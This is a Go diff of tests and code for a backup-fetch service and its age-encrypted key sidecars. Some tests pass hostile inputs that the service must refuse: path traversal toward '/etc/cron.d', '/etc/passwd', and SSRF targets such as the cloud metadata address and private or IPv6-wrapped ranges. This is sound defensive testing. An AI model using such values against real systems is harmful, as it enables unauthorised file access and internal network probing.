||||
}
|
||||
if _, err := os.Stat(dest); !os.IsNotExist(err) {
|
||||
t.Fatal("a failed fetch must leave NOTHING at the destination path")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupFetchRefusesOversizeBody(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
body := []byte(strings.Repeat("x", 4096))
|
||||
srv, want := artifactServer(t, body)
|
||||
oldTransport := http.DefaultTransport
|
||||
http.DefaultTransport = srv.Client().Transport
|
||||
defer func() { http.DefaultTransport = oldTransport }()
|
||||
|
||||
dest := filepath.Join(root, "big.bin")
|
||||
job := &backupJob{ID: "t3", SHA256: want, Want: 100, State: "running"}
|
||||
runBackupFetch(job, srv.URL+"/a", dest, 100) // declared 100, serves 4096
|
||||
if job.State != "failed" || !strings.Contains(job.Error, "larger than the declared") {
|
||||
t.Fatalf("oversize body must stop the stream, got state=%s err=%q", job.State, job.Error)
|
||||
}
|
||||
if _, err := os.Stat(dest); !os.IsNotExist(err) {
|
||||
t.Fatal("nothing should be published")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupFetchRefusesHTTPError(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
http.Error(w, "expired", http.StatusForbidden)
|
||||
}))
|
||||
defer srv.Close()
|
||||
oldTransport := http.DefaultTransport
|
||||
http.DefaultTransport = srv.Client().Transport
|
||||
defer func() { http.DefaultTransport = oldTransport }()
|
||||
|
||||
job := &backupJob{ID: "t4", SHA256: strings.Repeat("ab", 32), State: "running"}
|
||||
runBackupFetch(job, srv.URL+"/a", filepath.Join(root, "e.bin"), 1<<20)
|
||||
if job.State != "failed" || !strings.Contains(job.Error, "HTTP 403") {
|
||||
t.Fatalf("an expired signed URL must surface its status, got %q", job.Error)
|
||||
}
|
||||
}
|
||||
|
||||
// ── the SSRF wall, through the full frame path ───────────────────────────────
|
||||
|
||||
func TestBackupFetchRefusesPrivateAndLocalTargets(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
cases := []struct{ url, why string }{
|
||||
{"http://example.com/a", "plain http"},
|
||||
{"https://127.0.0.1/a", "loopback"},
|
||||
{"https://localhost/a", "loopback by name"},
|
||||
{"https://192.168.1.1/a", "the user's router"},
|
||||
{"https://10.0.0.5/a", "private range"},
|
||||
{"https://172.16.4.4/a", "private range"},
|
||||
{"https://100.64.1.1/a", "carrier-grade NAT / tailnet"},
|
||||
{"https://169.254.169.254/a", "cloud metadata"},
|
||||
{"https://[fd00:1::10]/a", "a private ULA mesh"},
|
||||
{"https://[::1]/a", "IPv6 loopback"},
|
||||
}
|
||||
for _, c := range cases {
|
||||
_, errOut, code := drive(t, root, backupFetchReq{
|
||||
Op: "start", URL: c.url, RPath: "a.bin",
|
||||
SHA256: strings.Repeat("ab", 32), Size: 10,
|
||||
})
|
||||
if code == 0 {
|
||||
t.Errorf("%s (%s) was ACCEPTED — the wall is open", c.url, c.why)
|
||||
continue
|
||||
}
|
||||
if !strings.Contains(errOut, "backup_fetch:") {
|
||||
t.Errorf("%s: refusal should say why, got %q", c.url, errOut)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupFetchRefusesBadArguments(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
good := backupFetchReq{Op: "start", URL: "https://s3.example.com/a",
|
||||
RPath: "a.bin", SHA256: strings.Repeat("ab", 32), Size: 10}
|
||||
|
||||
bad := map[string]backupFetchReq{}
|
||||
b := good
|
||||
b.RPath = "../../etc/cron.d/pwn"
|
||||
bad["path traversal"] = b
|
||||
b = good
|
||||
b.RPath = "/etc/passwd"
|
||||
bad["absolute path"] = b
|
||||
b = good
|
||||
b.SHA256 = "abc"
|
||||
bad["short digest"] = b
|
||||
b = good
|
||||
b.SHA256 = strings.Repeat("zz", 32)
|
||||
bad["non-hex digest"] = b
|
||||
b = good
|
||||
b.Size, b.MaxBytes = 0, 0
|
||||
bad["no size"] = b
|
||||
b = good
|
||||
b.Size, b.MaxBytes = 0, backupFetchMaxBytes+1
|
||||
bad["absurd size"] = b
|
||||
|
||||
for name, req := range bad {
|
||||
_, errOut, code := drive(t, root, req)
|
||||
if code == 0 {
|
||||
t.Errorf("%s was ACCEPTED", name)
|
||||
}
|
||||
if !strings.Contains(errOut, "backup_fetch:") {
|
||||
t.Errorf("%s: refusal should name the op, got %q", name, errOut)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupFetchRefusedWithoutADestination(t *testing.T) {
|
||||
// No backup root configured = the op does not exist here, reported the same
|
||||
// way an un-allowlisted op is (126), not as a crash.
|
||||
_, errOut, code := drive(t, "", backupFetchReq{Op: "start", URL: "https://s3.example.com/a",
|
||||
RPath: "a.bin", SHA256: strings.Repeat("ab", 32), Size: 10})
|
||||
if code != 126 {
|
||||
t.Fatalf("want exit 126 with no destination configured, got %d", code)
|
||||
}
|
||||
if !strings.Contains(errOut, "backup destination not configured") {
|
||||
t.Fatalf("refusal should say what is missing, got %q", errOut)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupFetchIsIdempotent(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
body := []byte("already here")
|
||||
sum := sha256.Sum256(body)
|
||||
want := hex.EncodeToString(sum[:])
|
||||
if err := os.WriteFile(filepath.Join(root, "a.bin"), body, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// URL is deliberately unreachable: if the short circuit does not fire, this
|
||||
// fails, which is the point — a retry must not re-download gigabytes.
|
||||
out, errOut, code := drive(t, root, backupFetchReq{
|
||||
Op: "start", URL: "https://s3.example.invalid/a", RPath: "a.bin",
|
||||
SHA256: want, Size: int64(len(body)),
|
||||
})
|
||||
if code != 0 {
|
||||
t.Fatalf("an already-correct artifact must report done, got %d: %s", code, errOut)
|
||||
}
|
||||
var j backupJob
|
||||
if err := json.Unmarshal([]byte(out), &j); err != nil || j.State != "done" {
|
||||
t.Fatalf("want state=done, got %s (%v)", out, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupFetchStatusOfUnknownJob(t *testing.T) {
|
||||
// After a bastion restart the in-memory job is gone. "unknown" lets the host
|
||||
// re-start (which is idempotent); "failed" would make it give up.
|
||||
out, _, code := drive(t, t.TempDir(), backupFetchReq{Op: "status", JobID: "bf-nope"})
|
||||
if code != 0 || !strings.Contains(out, `"state":"unknown"`) {
|
||||
t.Fatalf("want a clean unknown, got %d %s", code, out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsPublicIPClassification(t *testing.T) {
|
||||
// The table the wall rests on. Named separately so a regression here points
|
||||
// at the classifier rather than at ten URL cases.
|
||||
private := []string{"127.0.0.1", "10.1.2.3", "172.20.0.1", "192.168.0.1",
|
||||
"169.254.1.1", "100.64.0.1", "100.127.255.255", "::1", "fd00:1::10", "fe80::1", "0.0.0.0"}
|
||||
public := []string{"1.1.1.1", "8.8.8.8", "51.68.1.1", "100.63.255.255",
|
||||
"100.128.0.1", "2606:4700::1111"}
|
||||
for _, s := range private {
|
||||
if isPublicIP(mustIP(t, s)) {
|
||||
t.Errorf("%s classified PUBLIC — the wall would let it through", s)
|
||||
}
|
||||
}
|
||||
for _, s := range public {
|
||||
if !isPublicIP(mustIP(t, s)) {
|
||||
t.Errorf("%s classified private — a real backup source would be refused", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The backup lanes judge an address the way a coder run's proxy does: the IPv4
|
||||
// address inside a NAT64, 6to4, IPv4-compatible or IPv4-translated address,
|
||||
// and the site-local, benchmarking and reserved ranges. The classifier took
|
||||
// every address in `refused` as public before; each is now refused at the
|
||||
// classifier, the address wall and the URL check. Public addresses in the
|
||||
// same forms, and the addresses either side of 198.18.0.0/15, still pass.
|
||||
//
|
||||
// MUTATION: restore isPublicIP's own list (no unwrapping, no fec0::/10,
|
||||
// 198.18.0.0/15 or 240.0.0.0/4).
|
||||
// RESULT: red — every address in `refused` is classified public.
|
||||
func TestBackupWallJudgesTheIPv4InsideAndTheReservedRanges(t *testing.T) {
|
||||
refused := []string{
|
||||
"64:ff9b::a00:1", // NAT64 of 10.0.0.1
|
||||
"64:ff9b::7f00:1", // NAT64 of 127.0.0.1
|
||||
"64:ff9b:1::a00:1", // local-use NAT64 (RFC 8215): not readable here
|
||||
"2002:a00:1::1", // 6to4 of 10.0.0.1
|
||||
"2002:a9fe:a9fe::", // 6to4 of 169.254.169.254
|
||||
"::a00:1", // IPv4-compatible 10.0.0.1
|
||||
"::ffff:0:a00:1", // IPv4-translated 10.0.0.1
|
||||
"fec0::1", // site-local
|
||||
"198.18.0.1", "198.19.255.255", // benchmarking
|
||||
"240.0.0.1", "255.255.255.255", // reserved, limited broadcast
|
||||
"::ffff:198.18.0.1", "64:ff9b::f000:1", // the same, inside IPv6
|
||||
}
|
||||
for _, s := range refused {
|
||||
ip := mustIP(t, s)
|
||||
if isPublicIP(ip) {
|
||||
t.Errorf("%s classified PUBLIC — the wall would let it through", s)
|
||||
}
|
||||
if backupAddrAllowed(ip) {
|
||||
t.Errorf("%s passes the backup lanes' address wall", s)
|
||||
}
|
||||
if err := validateBackupURL("https://" + net.JoinHostPort(s, "443") + "/b.tar"); err == nil {
|
||||
t.Errorf("%s passes the backup lanes' URL check", s)
|
||||
}
|
||||
}
|
||||
for _, s := range []string{"64:ff9b::808:808", "2002:808:808::1", "::ffff:8.8.8.8", "198.17.255.255", "198.20.0.1"} {
|
||||
if !isPublicIP(mustIP(t, s)) {
|
||||
t.Errorf("%s classified private — a real backup source would be refused", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func mustIP(t *testing.T, s string) net.IP {
|
||||
t.Helper()
|
||||
ip := net.ParseIP(s)
|
||||
if ip == nil {
|
||||
t.Fatalf("bad test IP %q", s)
|
||||
}
|
||||
return ip
|
||||
}
|
||||
|
||||
// allowLoopbackFetch lets the dial-time wall (backupDialAllowed) accept the
|
||||
// loopback test server for one test; validateBackupURL is not touched.
|
||||
func allowLoopbackFetch(t *testing.T) {
|
||||
t.Helper()
|
||||
prev := backupDialAllowed
|
||||
backupDialAllowed = func(net.IP) bool { return true }
|
||||
t.Cleanup(func() { backupDialAllowed = prev })
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
package main
|
||||
|
||||
// The backup fixtures are made when a test runs, never committed: a key in
|
||||
// the repository, even a test key, is one more secret-shaped string for a
|
||||
// scanner to flag and for a person to wonder about. When the age command is
|
||||
// there, the sidecar is written by it, in the shape a host writes, so the
|
||||
// cross-language check reads a file this code did not produce.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"filippo.io/age"
|
||||
"filippo.io/age/armor"
|
||||
)
|
||||
|
||||
const fixtureStamp = "20260928T020000Z"
|
||||
|
||||
// fixtureEntity is the host number the fixture sidecar names, and the
|
||||
// pairing fixtureHost is the one paired to that host (withFixturePairings).
|
||||
const (
|
||||
fixtureEntity = 42
|
||||
fixtureHost = "h42.host.privatae.ai"
|
||||
)
|
||||
|
||||
type backupFixture struct {
|
||||
dir string
|
||||
recovery *age.X25519Identity // a key the sidecar is sealed to
|
||||
recoveryFile string // the same key as an age identity file
|
||||
sidecarFile string // <stamp>.key.age
|
||||
plain []byte // the sealed record, byte for byte
|
||||
byAgeCommand bool
|
||||
}
|
||||
|
||||
// newBackupFixture makes a sidecar for fixtureStamp sealed to a fresh key,
|
||||
// written by the age command at bin when bin is not "", else by this code:
|
||||
// host fixtureEntity's backup kept in platform storage (b/).
|
||||
func newBackupFixture(t *testing.T, bin string) *backupFixture {
|
||||
t.Helper()
|
||||
return newBackupFixtureAs(t, bin, "b", fixtureEntity)
|
||||
}
|
||||
|
||||
// newBackupFixtureAs is newBackupFixture for the backup of host entity kept
|
||||
// under sub: "b" (platform storage) or "s" (staged there, the shape of a
|
||||
// backup kept only on a bastion).
|
||||
func newBackupFixtureAs(t *testing.T, bin, sub string, entity int64) *backupFixture {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
rec, _ := age.GenerateX25519Identity()
|
||||
one, _ := age.GenerateX25519Identity()
|
||||
fx := &backupFixture{dir: dir, recovery: rec,
|
||||
recoveryFile: filepath.Join(dir, "recovery.txt"),
|
||||
sidecarFile: filepath.Join(dir, fixtureStamp+".key.age")}
|
||||
if err := os.WriteFile(fx.recoveryFile, []byte(rec.String()+"\n"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fx.plain, _ = json.Marshal(backupSidecar{V: 1, Kind: sidecarKind, Identity: one.String(),
|
||||
Object: sub + "/" + fixtureStamp + ".tar.zst.age", EntityID: entity, Stamp: fixtureStamp,
|
||||
MadeAt: "2026-09-28T02:00:00Z"})
|
||||
if bin != "" {
|
||||
plainFile := filepath.Join(dir, "sidecar.json")
|
||||
_ = os.WriteFile(plainFile, fx.plain, 0o600)
|
||||
out, err := exec.Command(bin, "-a", "-r", rec.Recipient().String(), "-o", fx.sidecarFile, plainFile).CombinedOutput()
|
||||
if err != nil {
|
||||
t.Fatalf("age could not write the fixture sidecar: %v %s", err, out)
|
||||
}
|
||||
fx.byAgeCommand = true
|
||||
return fx
|
||||
}
|
||||
var b bytes.Buffer
|
||||
aw := armor.NewWriter(&b)
|
||||
w, _ := age.Encrypt(aw, rec.Recipient())
|
||||
_, _ = w.Write(fx.plain)
|
||||
_ = w.Close()
|
||||
_ = aw.Close()
|
||||
if err := os.WriteFile(fx.sidecarFile, b.Bytes(), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return fx
|
||||
}
|
||||
|
||||
func (fx *backupFixture) sidecar(t *testing.T) []byte {
|
||||
t.Helper()
|
||||
b, err := os.ReadFile(fx.sidecarFile)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// installAsBastionKey makes the fixture's key the one this bastion holds.
|
||||
func (fx *backupFixture) installAsBastionKey(t *testing.T) {
|
||||
t.Helper()
|
||||
keys := withBackupKeysDir(t)
|
||||
raw, _ := recipientRaw(fx.recovery.Recipient())
|
||||
fp := backupKeyFingerprint(raw)
|
||||
_ = os.WriteFile(filepath.Join(keys, fp+".txt"), []byte(fx.recovery.String()+"\n"), 0o600)
|
||||
_ = os.WriteFile(filepath.Join(keys, "active"), []byte(fp+"\n"), 0o600)
|
||||
}
|
||||
|
||||
// fixtureWho is the pairing fixtureHost as the reseal lane binds it.
|
||||
var fixtureWho = resealWho{Name: fixtureHost, Number: fixtureEntity}
|
||||
@@ -0,0 +1,96 @@
|
||||
package main
|
||||
|
||||
// Gate: the one background hashing job survives a file whose read never
|
||||
// returns (a network mount that stopped answering). Each file gets a bound;
|
||||
// past it the job moves on to the other folders, reads nothing more from that
|
||||
// folder until the stuck read returns, and keeps that read's digest when it
|
||||
// does.
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func awaitHash(t *testing.T, p, want, why string) {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
if fi, err := os.Lstat(p); err == nil && cachedHash(p, fi) == want {
|
||||
return
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
t.Fatal(why)
|
||||
}
|
||||
|
||||
func TestAHashReadThatNeverReturnsHoldsUpNoOtherFolder(t *testing.T) {
|
||||
const bound = 200 * time.Millisecond
|
||||
hashMu.Lock()
|
||||
prevBound := hashJobTimeout
|
||||
hashJobTimeout = bound
|
||||
hashMu.Unlock()
|
||||
t.Cleanup(func() { hashMu.Lock(); hashJobTimeout = prevBound; hashMu.Unlock() })
|
||||
quiet := opMaskLog
|
||||
opMaskLog = func(string, ...any) {}
|
||||
t.Cleanup(func() { opMaskLog = quiet })
|
||||
|
||||
dead, live := t.TempDir(), t.TempDir()
|
||||
deadFile := filepath.Join(dead, fixtureData)
|
||||
deadOther := filepath.Join(dead, "20260101T000000Z.tar.zst.age")
|
||||
liveFile := filepath.Join(live, fixtureData)
|
||||
for p, b := range map[string]string{deadFile: "stuck", deadOther: "stuck too", liveFile: "answers"} {
|
||||
if err := os.WriteFile(p, []byte(b), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
var mu sync.Mutex
|
||||
deadReads := 0
|
||||
gate := make(chan struct{})
|
||||
var once sync.Once
|
||||
release := func() { once.Do(func() { close(gate) }) }
|
||||
prev := hashFileFn
|
||||
hashFileFn = func(p string) (string, int64, error) {
|
||||
if filepath.Dir(p) == dead {
|
||||
mu.Lock()
|
||||
deadReads++
|
||||
mu.Unlock()
|
||||
<-gate
|
||||
}
|
||||
return hashFile(p)
|
||||
}
|
||||
t.Cleanup(func() { release(); hashFileFn = prev })
|
||||
reads := func() int {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return deadReads
|
||||
}
|
||||
|
||||
requestHash(deadFile)
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for reads() == 0 {
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatal("the hashing job never started")
|
||||
}
|
||||
time.Sleep(5 * time.Millisecond)
|
||||
}
|
||||
requestHash(liveFile)
|
||||
awaitHash(t, liveFile, sha([]byte("answers")),
|
||||
"a read that never returned held up the hashing of every other folder")
|
||||
|
||||
// While the read is stuck, nothing more is read from that folder.
|
||||
requestHash(deadOther)
|
||||
time.Sleep(3 * bound)
|
||||
if n := reads(); n != 1 {
|
||||
t.Fatalf("the folder whose read is stuck was read %d times", n)
|
||||
}
|
||||
|
||||
// When it returns, its digest is kept, and the folder is read again.
|
||||
release()
|
||||
awaitHash(t, deadFile, sha([]byte("stuck")), "the stuck read's digest was not kept when it returned")
|
||||
requestHash(deadOther)
|
||||
awaitHash(t, deadOther, sha([]byte("stuck too")), "the folder was not read again once it answered")
|
||||
}
|
||||
@@ -0,0 +1,184 @@
|
||||
package main
|
||||
|
||||
// Gate: a read of a backup for its digest counts as stuck only when it has
|
||||
// gone without an answer for its bound, not when the whole file takes longer
|
||||
// than that. A large backup on a slow disk whose reads keep returning refuses
|
||||
// no push from its folder; a read that stops answering still does.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
const hashTestBound = 300 * time.Millisecond
|
||||
|
||||
// slowHash makes the hashing job read one file a byte at a time, each read
|
||||
// taking pace: a disk that answers, slowly. After stallAfter reads (when not
|
||||
// zero) its reads stop answering until finish. finish lets it read at full
|
||||
// speed.
|
||||
type slowHash struct {
|
||||
reads atomic.Int64
|
||||
fast chan struct{}
|
||||
once sync.Once
|
||||
logMu sync.Mutex
|
||||
logs []string
|
||||
}
|
||||
|
||||
func slowHashReads(t *testing.T, file string, pace time.Duration, stallAfter int64) *slowHash {
|
||||
t.Helper()
|
||||
s := &slowHash{fast: make(chan struct{})}
|
||||
hashMu.Lock()
|
||||
prevBound, prevRead := hashJobTimeout, hashRead
|
||||
hashJobTimeout = hashTestBound
|
||||
hashRead = func(f *os.File, p []byte) (int, error) {
|
||||
if f.Name() != file {
|
||||
return prevRead(f, p)
|
||||
}
|
||||
select {
|
||||
case <-s.fast:
|
||||
return prevRead(f, p)
|
||||
default:
|
||||
}
|
||||
if n := s.reads.Add(1); stallAfter > 0 && n > stallAfter {
|
||||
<-s.fast
|
||||
return prevRead(f, p)
|
||||
}
|
||||
time.Sleep(pace)
|
||||
return prevRead(f, p[:1])
|
||||
}
|
||||
hashMu.Unlock()
|
||||
quiet := opMaskLog
|
||||
opMaskLog = func(format string, a ...any) {
|
||||
s.logMu.Lock()
|
||||
defer s.logMu.Unlock()
|
||||
s.logs = append(s.logs, format)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
s.finish()
|
||||
readsIdle(t)
|
||||
eventually(t, "the hashing job ends", func() bool {
|
||||
hashMu.Lock()
|
||||
defer hashMu.Unlock()
|
||||
return !hashRunning
|
||||
})
|
||||
hashMu.Lock()
|
||||
hashJobTimeout, hashRead = prevBound, prevRead
|
||||
hashMu.Unlock()
|
||||
opMaskLog = quiet
|
||||
})
|
||||
return s
|
||||
}
|
||||
|
||||
func (s *slowHash) finish() { s.once.Do(func() { close(s.fast) }) }
|
||||
|
||||
func (s *slowHash) logged(part string) bool {
|
||||
s.logMu.Lock()
|
||||
defer s.logMu.Unlock()
|
||||
for _, l := range s.logs {
|
||||
if strings.Contains(l, part) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func hashReadInFlight(dir string) bool {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
r := backupReads[dir]
|
||||
return r != nil && !r.hash.IsZero()
|
||||
}
|
||||
|
||||
// A backup B in a folder that answers, slowly: reading it for its digest
|
||||
// takes many times the bound, its reads returning all along. A push of
|
||||
// another backup A in that folder starts and reads A while B is still being
|
||||
// read.
|
||||
func TestASlowHashThatKeepsAnsweringRefusesNoPushFromItsFolder(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
shortPushStall(t)
|
||||
readsIdle(t)
|
||||
root := t.TempDir()
|
||||
rel, _ := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
|
||||
big := filepath.Join(root, "20260101T000000Z.tar.zst.age")
|
||||
body := bytes.Repeat([]byte("big new backup "), 300)
|
||||
if err := os.WriteFile(big, body, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
s := slowHashReads(t, big, 30*time.Millisecond, 0)
|
||||
|
||||
requestHash(big)
|
||||
eventually(t, "the hashing job reads the big backup", func() bool { return s.reads.Load() > 0 })
|
||||
time.Sleep(3 * hashTestBound)
|
||||
if what, stuck := folderStuck(root, time.Now(), pushStallBound(), hashBound()); stuck {
|
||||
t.Fatalf("a hash whose reads keep returning made its folder stuck: %s", what)
|
||||
}
|
||||
// Named with a digest that is not A's, the push reads all of A and fails
|
||||
// on the comparison, sending nothing.
|
||||
id := pushStarted(t, root, rel, strings.Repeat("ab", 32))
|
||||
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
|
||||
t.Fatalf("a push from a folder being hashed slowly did not read its file: %v", st)
|
||||
}
|
||||
if !hashReadInFlight(root) {
|
||||
t.Fatal("the slow hash ended before the push read its file")
|
||||
}
|
||||
if !s.logged("is taking more than") || s.logged("has not answered") {
|
||||
t.Fatal("the log of a slow hash does not say it is slow, or says it stopped answering")
|
||||
}
|
||||
|
||||
s.finish()
|
||||
awaitHash(t, big, sha(body), "the slow hash's digest was not kept")
|
||||
}
|
||||
|
||||
// A read for a digest that answers for a while and then goes without an
|
||||
// answer for the bound still makes its folder stuck: a push there is refused
|
||||
// with the sentence about the digest, and the read counts toward the cap.
|
||||
func TestAHashWithNoAnswerForTheBoundStillMarksItsFolderStuck(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
shortPushStall(t)
|
||||
readsIdle(t)
|
||||
root := t.TempDir()
|
||||
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
|
||||
big := filepath.Join(root, "20260101T000000Z.tar.zst.age")
|
||||
body := bytes.Repeat([]byte("big new backup "), 300)
|
||||
if err := os.WriteFile(big, body, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
s := slowHashReads(t, big, 30*time.Millisecond, 20)
|
||||
|
||||
requestHash(big)
|
||||
// Past the bound in all, its reads answering: not stuck.
|
||||
eventually(t, "the hashing job reads past the bound", func() bool { return s.reads.Load() >= 15 })
|
||||
if what, stuck := folderStuck(root, time.Now(), pushStallBound(), hashBound()); stuck {
|
||||
t.Fatalf("a hash whose reads keep returning made its folder stuck: %s", what)
|
||||
}
|
||||
|
||||
// Then no answer: stuck, and a push is refused.
|
||||
stuckPast(t, root)
|
||||
_, errOut, code := startPush(t, root, rel, sum)
|
||||
if code == 0 || !strings.Contains(errOut,
|
||||
"backup_push: the folder of "+rel+" has not answered the reading of a backup for its digest for more than") {
|
||||
t.Fatalf("a push in a folder whose hashing read stopped answering: %d %s", code, errOut)
|
||||
}
|
||||
backupReadMu.Lock()
|
||||
n := stuckReadsLocked(time.Now(), pushStallBound(), hashBound())
|
||||
backupReadMu.Unlock()
|
||||
if n != 1 {
|
||||
t.Fatalf("%d stuck reads counted toward the cap; want the hashing read's 1", n)
|
||||
}
|
||||
eventually(t, "the log says the read has not answered", func() bool { return s.logged("has not answered") })
|
||||
|
||||
// When it answers again its digest is kept, and a push starts.
|
||||
s.finish()
|
||||
awaitHash(t, big, sha(body), "the stalled hash's digest was not kept when it answered")
|
||||
readsIdle(t)
|
||||
id := pushStarted(t, root, rel, strings.Repeat("ab", 32))
|
||||
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
|
||||
t.Fatalf("a push once the hashing read answered: %v", st)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,467 @@
|
||||
package main
|
||||
|
||||
// backupkey.go — this bastion's backup key, kept on this machine, and the
|
||||
// sealed "sidecar" that carries each backup's own key.
|
||||
//
|
||||
// WHY THE KEY LIVES HERE. A host encrypts every backup, before it leaves the
|
||||
// host, to the public keys registered with it: the host's recovery key (which
|
||||
// its owner keeps) and any bastion keys like this one. Only a matching private
|
||||
// key opens one, and the platform the host runs on holds none of them. So
|
||||
// this key is made here, stays here (0600, in this bastion's own state
|
||||
// directory), and only its PUBLIC half is ever shown: the owner registers it
|
||||
// on the host as a bastion key.
|
||||
//
|
||||
// WHY A SIDECAR. Each backup is also encrypted to a key made for that backup
|
||||
// alone, and that key's private half is sealed, in a small file beside the
|
||||
// backup, to the registered keys. Restoring a host means handing it that one
|
||||
// backup's key and nothing else: this machine opens the sidecar and seals the
|
||||
// same contents again to the restoring host's own key (reseal). This
|
||||
// bastion's key never leaves this machine and the host never gets a key that
|
||||
// opens any other backup. Gigabytes never cross this machine's connection for
|
||||
// it.
|
||||
//
|
||||
// Every encryption here is age (filippo.io/age); nothing is hand-rolled. The
|
||||
// one piece of code written here that touches key material is bech32, which
|
||||
// is an encoding: it turns a raw 32-byte public key into the "age1..." string
|
||||
// age parses (and validates) itself.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"filippo.io/age"
|
||||
"filippo.io/age/armor"
|
||||
)
|
||||
|
||||
// backupStampRe is a backup's name: its UTC time, to the second. The host
|
||||
// names every backup this way; anything else is not a backup of ours.
|
||||
var backupStampRe = regexp.MustCompile(`^[0-9]{8}T[0-9]{6}Z$`)
|
||||
|
||||
const (
|
||||
sidecarKind = "privatae-backup-key"
|
||||
// A sidecar is one short JSON document, armored. Anything larger is not
|
||||
// one, and reading an unbounded input from a host into memory is refused.
|
||||
sidecarMaxBytes = 64 << 10
|
||||
)
|
||||
|
||||
// ── bech32 (BIP-173), the encoding of age's key strings ─────────────────────
|
||||
|
||||
const bech32Charset = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
|
||||
|
||||
func bech32Polymod(values []byte) uint32 {
|
||||
gen := [5]uint32{0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3}
|
||||
chk := uint32(1)
|
||||
for _, v := range values {
|
||||
top := chk >> 25
|
||||
chk = (chk&0x1ffffff)<<5 ^ uint32(v)
|
||||
for i := 0; i < 5; i++ {
|
||||
if (top>>uint(i))&1 == 1 {
|
||||
chk ^= gen[i]
|
||||
}
|
||||
}
|
||||
}
|
||||
return chk
|
||||
}
|
||||
|
||||
func bech32HRPExpand(hrp string) []byte {
|
||||
out := make([]byte, 0, len(hrp)*2+1)
|
||||
for i := 0; i < len(hrp); i++ {
|
||||
out = append(out, hrp[i]>>5)
|
||||
}
|
||||
out = append(out, 0)
|
||||
for i := 0; i < len(hrp); i++ {
|
||||
out = append(out, hrp[i]&31)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func convertBits(data []byte, from, to uint, pad bool) ([]byte, error) {
|
||||
var acc, bits uint32
|
||||
maxv := uint32(1)<<to - 1
|
||||
var out []byte
|
||||
for _, b := range data {
|
||||
if uint32(b)>>from != 0 {
|
||||
return nil, errors.New("bech32: value out of range")
|
||||
}
|
||||
acc = acc<<from | uint32(b)
|
||||
bits += uint32(from)
|
||||
for bits >= uint32(to) {
|
||||
bits -= uint32(to)
|
||||
out = append(out, byte(acc>>bits&maxv))
|
||||
}
|
||||
}
|
||||
if pad {
|
||||
if bits > 0 {
|
||||
out = append(out, byte(acc<<(uint32(to)-bits)&maxv))
|
||||
}
|
||||
} else if bits >= uint32(from) || acc<<(uint32(to)-bits)&maxv != 0 {
|
||||
return nil, errors.New("bech32: bad padding")
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// bech32Encode encodes data under a lowercase human-readable part.
|
||||
func bech32Encode(hrp string, data []byte) (string, error) {
|
||||
values, err := convertBits(data, 8, 5, true)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
